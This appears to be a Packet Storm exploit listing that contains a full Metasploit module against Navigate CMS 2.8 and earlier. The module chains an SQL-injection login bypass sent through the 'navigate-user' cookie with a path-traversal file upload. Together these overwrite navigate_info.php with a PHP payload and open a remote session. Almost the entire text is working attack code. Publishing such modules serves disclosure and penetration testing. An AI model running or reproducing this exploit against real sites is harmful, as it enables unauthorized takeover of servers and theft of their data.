Lucene search

K
packetstormPyriphlegethonPACKETSTORM:149686
HistoryOct 05, 2018 - 12:00 a.m.

Navigate CMS Unauthenticated Remote Code Execution

2018-10-0500:00:00
Pyriphlegethon
packetstormsecurity.com
22

0.884 High

EPSS

Percentile

98.7%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',  
'Description' => %q(  
This module exploits insufficient sanitization in the database::protect  
method, of Navigate CMS versions 2.8 and prior, to bypass authentication.  
  
The module then uses a path traversal vulnerability in navigate_upload.php  
that allows authenticated users to upload PHP files to arbitrary locations.  
Together these vulnerabilities allow an unauthenticated attacker to  
execute arbitrary PHP code remotely.  
  
This module was tested against Navigate CMS 2.8.  
),  
'Author' =>  
[  
'Pyriphlegethon' # Discovery / msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2018-17552'], # Authentication bypass  
['CVE', '2018-17553'] # File upload  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Automatic', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 26 2018'))  
  
register_options [  
OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),  
]  
end  
  
def login_bypass  
check_resp = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/login.php')  
)  
  
login_bypass_resp = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/login.php'),  
'cookie' => 'navigate-user=\" OR TRUE--%20'  
)  
  
if login_bypass_resp &&  
login_bypass_resp.code == 302 &&  
check_resp.body.include?('Navigate CMS')  
session_id = login_bypass_resp.get_cookies_parsed  
.values.select { |v| v.to_s.include?('NVSID_') }  
.first.first  
return session_id  
end  
end  
  
def check  
return CheckCode::Vulnerable if login_bypass  
CheckCode::Safe  
end  
  
def exploit  
session_id = login_bypass  
fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id  
  
print_good('Login bypass successful')  
  
php = payload.encoded  
data = Rex::MIME::Message.new  
data.add_part(php, 'image/jpeg', nil,  
"form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")  
data_post = data.to_s  
  
upload = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),  
'vars_get' => Hash[{  
'session_id' => session_id,  
'engine' => 'picnik',  
'id' => '../../../navigate_info.php'  
}.to_a.shuffle],  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data_post  
)  
  
fail_with(Failure::Unreachable, 'Unable to reach target') unless upload  
fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200  
  
print_good('Upload successful')  
  
print_status('Triggering payload...')  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/navigate_info.php')  
)  
end  
  
def on_new_session(session)  
super  
if session.type != 'meterpreter'  
print_error('Unable to restore navigate_info.php')  
return  
end  
  
session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')  
  
begin  
session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")  
rescue  
print_error('Unable to restore navigate_info.php')  
end  
end  
end  
`

0.884 High

EPSS

Percentile

98.7%